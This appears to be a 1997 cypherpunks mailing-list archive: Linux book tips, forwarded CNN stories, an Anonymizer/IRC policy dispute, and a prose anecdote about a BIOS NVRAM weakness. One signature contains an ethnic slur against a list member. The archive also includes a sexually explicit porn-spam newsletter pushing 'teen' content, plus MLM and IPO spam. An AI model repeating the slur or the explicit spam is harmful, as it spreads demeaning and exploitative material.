strange times for no apparent reason, etc., etc. Note that this is a personal
opinion and not a function of my working for IBM and being required to use
OS/2 everyday (I don't like that requirement either). It is a function of my
using OS/2 since the 1.0 days. It's interesting to note that IBM is moving
OS/2 from the general OS area to specialized applications...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|








From ravage at ssz.com  Tue Dec 30 07:13:20 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 23:13:20 +0800
Subject: You are all a bunch of cypherpunks (fwd)
Message-ID: <199712301533.JAA05918@einstein.ssz.com>



Forwarded message:

> Date: Tue, 30 Dec 1997 03:39:05 -0500
> From: David Miller 
> Subject: You are all a bunch of cypherpunks

> 2)  I want to know anyone who knows anything about full-duplex soundcard
>     programming under Linux.  Internet Telephony is fast opon us, do you
> want
>     to subscribe or design?  This is duplex Nautilus II.  Get in gear.

O'Reilly has a new book out for Linux relating to writing device drivers. 
You also want a copy of their Linux multimedia book. I don't have the device
driver book (it hasn't come in yet), but:

Linux Multimedia Guide
Jeff Tranter
ISBN 1-56592-219-0
$32.95

You might also want to peruse:

Beginning Linux Programming
N. Matthew & R. Stones
ISBN 1-874416-68-0
$36.95

Inside Linux
Randolph Bentson
ISBN 0-916151-89-1
(mine was $22.00, no price shown)

Linux Programming
P. Volkerding, E. Foster-Johnson, K. Reichard
ISBN 1-55828-507-5
$39.95

Linux Kernel Internals
M. Beck, H. Bohme, M. Dziadzka, U. Kunitz, R. Magnus, D. Verworner
ISBN 0-201-87741-4
(mine was $40.75, no price shown, it's an import from Germany)

Also:

The Design of the Unix Operating System
M.J. Bach
ISBN 0-13-201799-7
(no price on book, this is the book Linus used to design the kernel)

and finaly:

Interprocess Communications in Unix: The nooks & crannies
J.S. Gray
ISBN 0-13-186891-8
(no price on book, $40?)

Hope that helps.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Tue Dec 30 07:18:16 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 23:18:16 +0800
Subject: Strange Way To Leak Inofrmation: Contents Of Discovery Channel Show On Non-Lethals (fwd)
Message-ID: <199712301538.JAA05974@einstein.ssz.com>



Forwarded message:
>From stugreen at bga.com Tue Dec 30 02:12:37 1997
Sender: root at coney.lsd-labs.com
Message-ID: <34A8A83D.FBFEDD2F at bga.com>
Date: Tue, 30 Dec 1997 01:52:29 -0600
From: Stu Green 
X-Mailer: Mozilla 4.03 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: ravage at ssz.com
Subject: Strange Way To Leak Inofrmation: Contents Of Discovery Channel Show On Non-Lethals
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jim,
I left the tube on Discovery while testing some software tonight.  In
the background I heard something about attacking computers so I started
paying attention and to my warped mind the Fed was trying to leak some
dis-information (or advertise some dirty tricks already pulled).  In the
hype there were some interesting things mentions that folks ought be
aware of.  They gave a 'man in the middle' scenario played out in full
on the screen between a "computer security expert" and a group of
transactions between a bank in acountry "plagued with drug production
and cartels" and a bank in Switzerland.  The third world bank and the
Swiss bank were using PGP for encryption.  The narrator dumped an aside
- the government was supplying the "computer security expert" with "data
gathered over time", which consisted of intercepts of the initial text
messages passing the PGP keys back and forth (PGP 2.4 flashed on one of
the screens, so we ain't talking about yesterday here).  This amounts to
an acknowledgement that one of the three-letter groups is playing
man-in-the -middle already and on a grand scale (not that this is new
news, but its nice having the speculation authenticated, even if in a
manner that leaves the conclusion to the viewer's deductive processes).
The last computer related portion involved the FBI planting trojan
horses through anti-virus software.  they flash a couple of screens  -
one was definately Norton Anit-virus for 95 and the other recognizible
one was M$AV.  I think the one I couldn't pin is Dr. Solomon's, but it
could easily be McAfee.  Doesn't matter - if one is popped, they all
are.  Back in June I built a K6 for David that had some real
pecularities - the sound card went into outer space and set it's
interupt to 14 and wouldn't let go.  When I started to try to figure out
what was going on I figured that something wrote to the bios, cause the
symptoms were so werid.  So I hacked a little thing up to go in and
rewrite the bios'sNVRAM.  It worked witht the motherboard's jumpers set
to allow bios flashing and failed when the pins were set to block
flashing.  But when I use debug in a very dirty program I was able to
jack with the wrteable ram, even with flashing diaabled, matter of fact
it was so damned simple I wrote the motherboard manufacturer to show how
it was broken.  If ASUS is prone to this kind of dumb attack, then I
figure other boards are probably more vulnerable and the government's
got a pile of exploits to dick with any machine (running windows, MacOS
or NT) with their trojan horses and bios-level attacks.  I could have
sworn that the stuff I saw on David's motherboard came strait from
Bulgaria.  It looked like one of the best hacks I ever saw - everytime I
changed values in the bios and rebooted into 95, those values were reset
to the original values right after post ran memory checking.  But if I
booted into Linux it did not  effect anything (it's nice having all the
system specific onformation in /proc, without having to write a program
to extract it from kmem).  So, from what I can conclude, there maybe
reason to look over the shoulder a little more diligently cause
somebody's out there fucking around.
In that vain, I bagged some fool trying to start a mail flood from a
system he broke into ( a customer of mine that knew he had been
hacked).  It kind of blew my mind, here this guy spent hours cracking
around, found his way into the mail server (which was an NT machine)
just to blast dumb & lame porno all over the place.  (Happened to me in
March - I left SATAN running at work over a weekend and as soon as I got
on the windows box in my office a flood of shit started going out to the
last person I mailed, which luckily was Jep, it was the samething lame
porn and a ton of it, but I left my ass wide opened by leaving SATAN's
fat neon sign on and not isolating the work station I was running SATAN
on from my other machine, at least I isolated myself from the rest of
Arrowsmith's network (which was the worst setup I've ever seen -  but
that's another story)).
Hope Reef didn't get too traumatized by the Federales.  Maybe you could
sue the government for the stress induction as Reef's guardian??

Catch you soon and if not before - Happy New Years

Regards,
Stu






From ravage at ssz.com  Tue Dec 30 07:38:46 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 23:38:46 +0800
Subject: China clamps down on Internet [CNN]
Message-ID: <199712301559.JAA06073@einstein.ssz.com>



Forwarded message:

>                      CHINA CLAMPS NEW CONTROLS ON INTERNET
>                                        
>      Web posted at: 3:13 a.m. EST (0813 GMT)
>      
>      BEIJING (Reuters) -- China clamped sweeping new controls on the
>      Internet on Tuesday, warning that the network was being used to leak
>      state secrets and to spread "harmful information."
>      
>      Regulations unveiled by Zhu Entao, Assistant Minister for Public
>      Security, cover a wide range of crimes, including leaking state
>      secrets, political subversion and spreading pornography and
>      violence.
>      
>      The rules are also designed to protect against computer hacking,
>      viruses and other computer-related crime.
>      
>      They call for unspecified "criminal punishments" and fines of up to
>      15,000 yuan ($1,800) for Internet providers and users who violate
>      the rules -- both individuals and business organisations.

[text deleted]

>      The regulations explicitly cover information circulating from Hong
>      Kong, Macau and Taiwan.

[text deleted]






From nobody at REPLAY.COM  Tue Dec 30 07:55:38 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 30 Dec 1997 23:55:38 +0800
Subject: The Anonymizer and IRC
In-Reply-To: 
Message-ID: <199712301551.QAA29333@basement.replay.com>




On Sun, 28 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> nobody at REPLAY.COM (Anonymous) writes:
> 
> > The Anonymizer does in fact only provide restricted access by http and NO
> > IRC.
> > For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
> > I could understand that they block sites that explicitly request to be
> > blocked to prevent abuse.
> > But what if I want to make a mailto.cgi or IRC script available by http.
> > Should people be disallowed from accessing this through The Anonymizer
> > even if I do not request it?
> > It should at least be possible to allow access to such scripts for The
> > paid accounts.
> > If they keep logs in case of a U. S. law violation, I see no problem of
> > liability arosing from such access.
> > They have also restricted their shell access for which you pay US $ 7 per
> > moth to IRC.
> > Does that sound more reasonable than blocking the nntp port?
> > Does anyone know other ISPs who provide privacy and do not block
> > abitrarily without _prior request_ from the site in question?
> 
> I think it's been pretty well established on this mailing list than
> Lance Cottrell is no friend of privacy and free speech.
Sorry, "Dr." Vulis. I do not intend to provide you with ammunition in 
your flame war.
Just for the record, I think that Lance Cottrell does a fairly good work 
to further freedom of speech while I have seen NO contribution from you.
My question arose out of curiousity not a maliscious intend.
Do NOT count on me in your compaign.

Thank you.






From amp at pobox.com  Tue Dec 30 08:01:45 1997
From: amp at pobox.com (amp at pobox.com)
Date: Wed, 31 Dec 1997 00:01:45 +0800
Subject: RSA with 5.x
Message-ID: 



Does anyone know where there is a copy of pgp5x available for ftp that can 
generate RSA keys?

===
E-mail: amp at pobox.com
Date: 12/30/97
Time: 08:56:33
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i


   >   I tried sending an anonymous test article to comp.org.cauce via the CRACKER
   >   remailer.  Sure enough, the Gypsie Jew Zorch forged a cancel for my article:

Vulis, you are the only Gypsie Jew around here.

Half Romanian Gypsie, half Hungarian Jew.
---guy





From eureka at eureka.abc-web.com  Wed Dec 31 00:51:51 1997
From: eureka at eureka.abc-web.com (eureka at eureka.abc-web.com)
Date: Wed, 31 Dec 1997 00:51:51 -0800 (PST)
Subject: Eureka! Wed Dec 31 '97
Message-ID: <19971231080958.3231.qmail@eureka.abc-web.com>


Welcome to Wednesday's issue of Eureka!

PINKBITS
Voted the  #1 Teen (18+) site  on the web,  this is  one pay
site you  don't want  to miss out on!  Here's just one quote
from a satisfied member:  "This site delivers awesome value.
I have been a member of 3 other sites,  and this is the best
by far. It has the best pics, more live video, younger girls
and more  hardcore cumshots  than the  other sites  put tog-
ether".  And we have negotiated a special FREE trial member-
ship for Eureka subscribers, so don't take our word, go see!
PinkBits .. http://207.33.10.198/cgi-bin/gate1/pbm/pb_0024/0

TEENGAY
This is the hottest gay club on the net. Whether you are gay
or gay curious,  this site  has the lot.  And like we always
try to do, we've arranged another FREE trial for all Eureka!
subscribers. So surf over and check out the huge photo gall-
ery,  hot gay  features,  hard  sex videos,  erotic stories,
phone sex and even live gay chat rooms.  You'll find it all!
TeenGay ... http://207.33.10.198/cgi-bin/gate1/pbm/tg_0024/0

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRAN�AIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPA�OL ....... http://eureka.abc-web.com/eureka/espanol.htm

HAPPY NEW YEARS EVE!
We've  included a site today that  features some young black
women today in response to your emails.  We know endless web
surfing to find some hot pix is a  hassle. We do it for you!
Email us at any time! ...... mailto:feedback at www.usachat.com

CHERRY BUSTERS
Cruise down the page to  the "enter cherry buster's free xxx
teens", once  there you'll find some  great free pix.  Young
hot women that will  get your dick moving.  They have pussy,
ass, smut, gang  bang and pussy.  This is a pretty hot site!
Cherry Busters .... http://198.174.169.153/cbasp/default.asp

MORE FREE PICS
There are a lot of thumbnails here to enjoy. Blowjobs, anal,
lesbians and threesomes.  These free pix are worth the trip,
watch out though, your hand may just leave the mouse.  Yeah!
More Free Pics ................ http://www.morefreepics.com/

CAATTLE CALL
Moove over to this website for some hot looking sexy vixens!
There are not a ton of pix bit the ones that they have there
are hot!  Huge  boobs, butt licking.  Good for a quick surf!
Caattle Call ......................... http://www.coeds.net/

BUDDA BABY'S WET BLACK TEENS
Mmmm cocoa.  Mmmm chocolate! We have some really yummy girls
here.  Nice and dark. Quick loading site with easy to get at
free pix.  Surf by here to see the sweetest dark candy, Yum!
Budda Baby's Wet ................. http://www.buddababy.com/

FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
20vids+Chat .. http://209.1.31.175/chat/videochat.cgi?eureka

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Adult/Sex Chat .................. http://137.39.63.229/chat/
General/Fun Chat ........ http://137.39.63.229/chat/funchat/

THE BEST PHONE SEX
LIVE: 1-on-1, 2-on-1, Group, Dateline.........1-800-644-8779
FREE: Live 1-on-1 (international call only)....011-678-77416

AMATEUR SITE OF THE DAY
CAROL COX: Also known as Wild Rose, Carol is an Internet or-
iginal.  She is an outrageous amateur  who is  impossible to
classify.  Part exhibitionist, part swinger, part nymphoman-
iac,  she has yet  to be completely satisfied.  With tons of
pictures updated daily her website is a complete experience!
Stop by and see if you can fulfill her needs (and yours) too
Carol Cox .................. http://amateurindex.com/eureka/

TODAY'S FREE PIX
Wow - we can tell you like our new photos, our server nearly
melted down yesterday. Seriously though, we have plenty more
to come,  with lots of variety too.  We hope you enjoy them!
Pic  1 ........................... http://137.39.63.229/?310
Pic  2 ........................... http://137.39.63.229/?311
Pic  3 ........................... http://137.39.63.229/?312
Pic  4 ........................... http://137.39.63.229/?313
Pic  5 ........................... http://137.39.63.229/?314
Pic  6 ........................... http://137.39.63.229/?315
Pic  7 ........................... http://137.39.63.229/?316
Pic  8 ........................... http://137.39.63.229/?317
Pic  9 ........................... http://137.39.63.229/?318
Pic 10 ........................... http://137.39.63.229/?319

PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
LOOKING FOR *FREE* SMUT? - SEXY SAMANTHA REVEALS ALL!
http://209.50.232.36/sexysam/
I'm Sam and I've searched the web for only the very best
*FREE* adult sites. None of these are preview areas for pay
sites, or adult verification sites. Just surf and find
thousands of the hottest photos, mpegs and audio that you'll
find anywhere on the web!

------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------





From ravage at ssz.com  Tue Dec 30 09:01:51 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 31 Dec 1997 01:01:51 +0800
Subject: Congressional pensions increase... [CNN] (fwd)
Message-ID: <199712301723.LAA06394@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Tue Dec 30 11:23:04 1997
From: Jim Choate 
Message-Id: <199712301723.LAA06373 at einstein.ssz.com>
Subject: Congressional pensions increase... [CNN]
To: users at ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:23:03 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2267      


Forwarded message:

> Congressional Pensions Can Be Hefty
> 
>    By ANICK JESDANUN
>    Associated Press Writer
>    
>    WASHINGTON (AP) A healthy pension plan that members of Congress
>    created for themselves will let some retiring lawmakers collect
>    roughly $100,000 a year for life.
>    
>    Although most members are enrolled in the same retirement plans as
>    other federal employees, lawmakers accrue benefits at a faster rate.
>    Plus, congressional pensions are adjusted each year for inflation,
>    setting them apart from most retirement plans in the private sector.
>    
>    "It's one of the most outrageous perks congressmen have," said David
>    Keating, vice president for National Taxpayers Union, a conservative
>    group that advocates less government spending.
>    
>    According to the taxpayers' group, which calculated congressional
>    pension estimates for retiring lawmakers at the request of The
>    Associated Press, some lawmakers will be going home with pensions of
>    about five times the national average.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Tue Dec 30 09:01:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 31 Dec 1997 01:01:53 +0800
Subject: Govt. employees get pay raise... [CNN] (fwd)
Message-ID: <199712301723.LAA06416@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Tue Dec 30 11:21:57 1997
From: Jim Choate 
Message-Id: <199712301721.LAA06351 at einstein.ssz.com>
Subject: Govt. employees get pay raise... [CNN]
To: users at ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:21:54 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2003      


Forwarded message:

> Federal Workers Ring In New Year With Pay Raise
> 
>    [INLINE]
>    
>    WASHINGTON (AllPolitics, Dec. 30 -- Government workers will enjoy on
>    average a 2.8 percent increase in their pay checks starting New Year's
>    day as President Bill Clinton Monday issued an executive order
>    authorizing the federal pay raise.
>    
>    The order grants members of the military a straight 2.8 percent raise.
>    
>    
>    Civilian employees get 2.3 percent, plus a "locality" adjustment that
>    varies depending on geographic location. White House spokesman Joe
>    Lockhart said this adjustment averages at 0.5 percent.
>    
>    The vice president, federal judges and members of Congress will also
>    get a 2.3 percent increase in salary, but with no adjustment.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Tue Dec 30 09:02:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 31 Dec 1997 01:02:10 +0800
Subject: IBM breaks disk-drive bottlenecks... [CNN] (fwd)
Message-ID: <199712301723.LAA06447@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Tue Dec 30 11:20:36 1997
From: Jim Choate 
Message-Id: <199712301720.LAA06321 at einstein.ssz.com>
Subject: IBM breaks disk-drive bottlenecks... [CNN]
To: users at ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:20:35 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1988      


Forwarded message:

>    New technology stores 11.6 billion bits of data on one square inch of
>    disk
>    
>    December 30, 1997: 10:49 a.m. ET
>    
>    More related sites... NEW YORK (CNNfn) - IBM announced Tuesday that it
>    has broken a major barrier in magnetic disk-drive storage density
>    which could eventually lead to ultra-thin computers.
>    [INLINE] New developments from the computer company will allow 11.6
>    billion bits of data per square inch to be stored on a disk drive,
>    enabling more information to be stored in the same amount of space.
>    [INLINE] The new technology will first appear in products in the year
>    2001. It will be used initially in 2.5 inch, non-removable disk
>    drives, which are mainly featured in portable computers.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From dlv at bwalk.dm.com  Tue Dec 30 09:20:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 31 Dec 1997 01:20:18 +0800
Subject: The Anonymizer and IRC
In-Reply-To: <199712301551.QAA29333@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

>
>
> On Sun, 28 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > nobody at REPLAY.COM (Anonymous) writes:
> >
> > > The Anonymizer does in fact only provide restricted access by http and NO
> > > IRC.
> > > For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi form
> > > I could understand that they block sites that explicitly request to be
> > > blocked to prevent abuse.
> > > But what if I want to make a mailto.cgi or IRC script available by http.
> > > Should people be disallowed from accessing this through The Anonymizer
> > > even if I do not request it?
> > > It should at least be possible to allow access to such scripts for The
> > > paid accounts.
> > > If they keep logs in case of a U. S. law violation, I see no problem of
> > > liability arosing from such access.
> > > They have also restricted their shell access for which you pay US $ 7 per
> > > moth to IRC.
> > > Does that sound more reasonable than blocking the nntp port?
> > > Does anyone know other ISPs who provide privacy and do not block
> > > abitrarily without _prior request_ from the site in question?
> >
> > I think it's been pretty well established on this mailing list than
> > Lance Cottrell is no friend of privacy and free speech.
> Sorry, "Dr." Vulis. I do not intend to provide you with ammunition in
> your flame war.
> Just for the record, I think that Lance Cottrell does a fairly good work
> to further freedom of speech while I have seen NO contribution from you.

For those who didn't get it: the original complaint was written by one of the
many dissatisfied infonex customers, while the "anonymous" flame was
written by one of the many C2Net/parekh/cottrell/medusa shills.

Do not be confused by their using an anonymous remailer - they're an
enemy of anonymity, privacy, and free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From FisherM at exch1.indy.tce.com  Tue Dec 30 10:14:31 1997
From: FisherM at exch1.indy.tce.com (Fisher Mark)
Date: Wed, 31 Dec 1997 02:14:31 +0800
Subject: Word Processors and GUIs
Message-ID: <2328C77FF9F2D011AE970000F84104A7AB8382@indyexch_fddi.indy.tce.com>



>The real boom in productivity has to do with users not having to
memorize
>various command sequences for various programs.
This is why I started using Windows 3.0 along with the MKS Toolkit Shell
back when.  Sometimes a CLI interface is the right tool -- sometimes a
GUI is the right tool.  It especially seems the case that graphical
activities (like word processing (vs. text editing)) gain much from a
GUI interface.  I also have several CLI utilities for manipulating GUI
objects (believe it or not, you can't tell Exchange Mail Client to use
'>' (or any other) as the reply character).

Nowadays, I run NT 4.0 with an MKS Toolkit Korn Shell loaded at startup
as one of my apps.  (Microsoft missed a chance when they didn't license
MKS Toolkit for NT 4.0 and Windows 95.)

>The effect of this all is profound. It means that a manager or
secretary or
>whatever doesn't need to write down a bunch of funny commands for
Wordstar,
>or Emacs, or Autocad...he or she can "muddle through" just by going to
the
>"File" menu item to open files, save them, make copies, etc. Or to the
>"Edit" menu item to make changes, cut and paste, alter fonts, whatever.
The "ctrl-alt-meta-cokebottle" syndrome was a major pain, one I was glad
to separate myself from.

>(I started out on a Data General Nova, got a Proc Tech Sol as my first
PC,
>[...]
(I started on Purdue MACE (a CDC 6000 Kronos derivative) with punched
cards, quickly graduated to Purdue MESA TTY access to MACE, then was one
of the first Unix users at Purdue around 1978.  I've created programs
for MACE, Unix, CP/M, MS-DOS, WicatOS, Windows 3.1/95/NT, VAX/VMS, and
Data General AOS.)

>I started typing all my own technical papers into my own IBM PC back in
'83
>[...]
I started typing my own papers on Unix Version 6 in 1979, using NROFF.
Probably why I like styles in Word so much...

>>I would take a good multi-threaded, multi-tasking, text mode system
over
>>the drivile that keeps comming out of Redmond, WA. anyday.
Although Windows NT 4.0 is around the quality of Unix circa 1981 or so,
that still makes it much superior to any other Microsoft OS.  With the
MKS Toolkit implementation of the Korn Shell + other Unix utilities, and
a recent version of Perl (5.004 or later), I don't feel like I'm
underpowered on NT 4.0 relative to when I work on a Sun under Solaris
2.5.

>Good writing comes from good writers, not from word processing
programs.
>Those who can't put a decent argument together will not find solace in
some
>"good multi-threaded, multi-tasking, text mode system."
How true.  Although the quality of Windows NT 4.0 is not up to what I
get under Solaris or HP-UX, I can use my machine as a light-duty
production server as well as a workstation.  It is good enough for me to
be able to concentrate on the hard work of creating quality prose and
programs.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm at indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"








From hoket at usa.net  Wed Dec 31 04:17:42 1997
From: hoket at usa.net (hoket at usa.net)
Date: Wed, 31 Dec 1997 04:17:42 -0800 (PST)
Subject: FREE $600 Worth of Software !!!
Message-ID: <199712273755.LAC88852@taretmail.net>


				

 "FREE" $600 Worth of SOFTWARE "EXPLODES YOUR BUSINESS" 

 Hello,
  
You don't want to trash this one! I "WILL" give you absolutely "Free" 
Software that sells for $600. I WILL NOT ASK FOR ANY MONEY at Any Time.
  
The $200 "CHECKER" software program allows you to accept checks by fax, email, or telephone. If you have ever wanted or presently have an internet business.......this is a MUST!
  
BONUS!! Now I also provide you with a "well known" software program that will easily enable you to obtain contact information on potential customers right from the internet. Similar software sells for $400+. You will be able to obtain these sales leads by the thousands while you are "online".

Will your business "EXPLODE"?
  
You bet it will!               IT HAS TO !!!!
  
You will become a part of a  DOWNLINE THAT HAS THIS CAPABLITY!
  
Along with these software programs, I provide you with a "GREAT", "FREE
BUSINESS", that you can promote on the internet and off. 

Additional BONUS - you will receive one of the cheapest long distance rates available today!! NO Sign-up Fees! NO Hidden Costs!
  
For quick and  FREE  details, just send an email with CHECKER in the subject 
line to:
 		          

and you will receive information about this exciting opportunity right away!
  
I look forward to your response.  You may email me at:  

				morkim at hotmail.com 

for an immediate  response for more info.


Thanks,          






From wclerke at emirates.net.ae  Tue Dec 30 13:40:07 1997
From: wclerke at emirates.net.ae (wayne clerke)
Date: Wed, 31 Dec 1997 05:40:07 +0800
Subject: Anonymous IRC (was "Cypherpunks IRC Christmas Eve Party")
Message-ID: <01BD158C.4FCF91D0@wclerke@emirates.net.ae>



On Tuesday, December 30, 1997 7:56 AM, Mark Hedges [SMTP:hedges at rigel.cyberpass.net] wrote:
> 
> 
> We found IRC users to be so involved in petty information wars --
> ping floods, malicious prank hacking, and the like -- that we directed
> policy against use of IRC from the anonymous shell accounts at CyberPass.
> 
> If IRC users weren't so easily lulled by the tempation to crash a server
> or run malicious bots or just plain irritate other people for fun, and
> if they would gang up and kick out people who did that, then perhaps we'd
> switch that back on.
> 
> They were just too much overhead. Everyone else seems pretty nice, really,
> as far as the system goes. They're all self-interested in keeping the
> anonymous publishing and so on going, so the peace keeps itself.


What's the reason behind the policy direction against the use of personal web proxies running in a (paid for) shell account? 
Seems like less risk than you already accept anyway. Something I've missed?

> 
> Mark Hedges
> Infonex and Anonymizer
> 
> 


Mail: Wayne Clerke
PGP key id: AEB2546D  F/P: D663D11EDA19D74F5032DC7EE001B702
PGP key id: 57AA1C10  F/P: 9926BF8918B7EB3623A7 AFA46572C5B857AA1C10
PGP mail welcome.			Voice: +971 506 43 4853
If you're not living on the edge, you're taking up too much space.






From ian at witcapital.com  Tue Dec 30 16:11:22 1997
From: ian at witcapital.com (ian at witcapital.com)
Date: Wed, 31 Dec 1997 08:11:22 +0800
Subject: IPO Alert: King Pharmaceutical available through Wit Capital
Message-ID: <199712302358.PAA20038@toad.com>




Wit Capital Corporation is pleased to announce that we are able to provide participation in the following public offering as described below:

Issuer: King Pharmaceutical, an integrated pharmaceutical company that manufactures, markets and sells branded and generic prescription pharmaceutical products.

Security:  Common Stock

Expected Size of Offering: 8,919,000 shares

Expected Price Range: $16.50 to $19.50 per share

Lead Underwriters: LEHMAN BROTHERS

If you think you may be interested in this Public Offering available through Wit Capital, please visit http://www.witcapital.com or call (888) 4-WIT-CAP.

You can view, print or download the Preliminary Prospectus from the New Issues section of our web site.  To purchase shares, you must first open an account, which you can do online.

Investing in public offerings is speculative, involves a high degree of risk and may not be appropriate for every investor.  As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance.  To learn more about the risks of investing in public offerings please visit the New Issues section of our web site.

A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE 
SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.  THESE 
SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME 
THE REGISTRATION STATEMENT BECOMES EFFECTIVE.  THIS COMMUNICATION SHALL NOT 
CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL 
THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, 
SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION 
UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.

NO OFFER TO BUY THE SECURITIES CAN BE ACCEPTED AND NO PART OF THE PURCHASE 
PRICE CAN BE RECEIVED UNTIL THE REGISTRATION STATEMENT BECOMES EFFECTIVE, AND 
ANY SUCH OFFER MAY BE WITHDRAWN AND REVOKED WITHOUT OBLIGATION OR 
COMMITMENT OF ANY KIND, AT ANY TIME PRIOR TO NOTICE OF ITS ACCEPTANCE GIVEN 
AFTER THE EFFECTIVE DATE.  AN INDICATION OF INTEREST IN RESPONSE TO THIS RESPONSE TO THIS ADVERTISEMENT WILL INVOLVE NO OBLIGATION OR COMMITMENT OF ANY KIND.

A broker dealer or its agent may only transact business in a state after licensure or satisfying qualification requirements of that state. If you reside in a particular state that Wit Capital is not registered in as a 
broker dealer or has registered agents in, this message is not directed to you. Wit Capital will not open a brokerage account or sell securities to you until such time registration requirements in your home state are fulfilled.  Thank you.

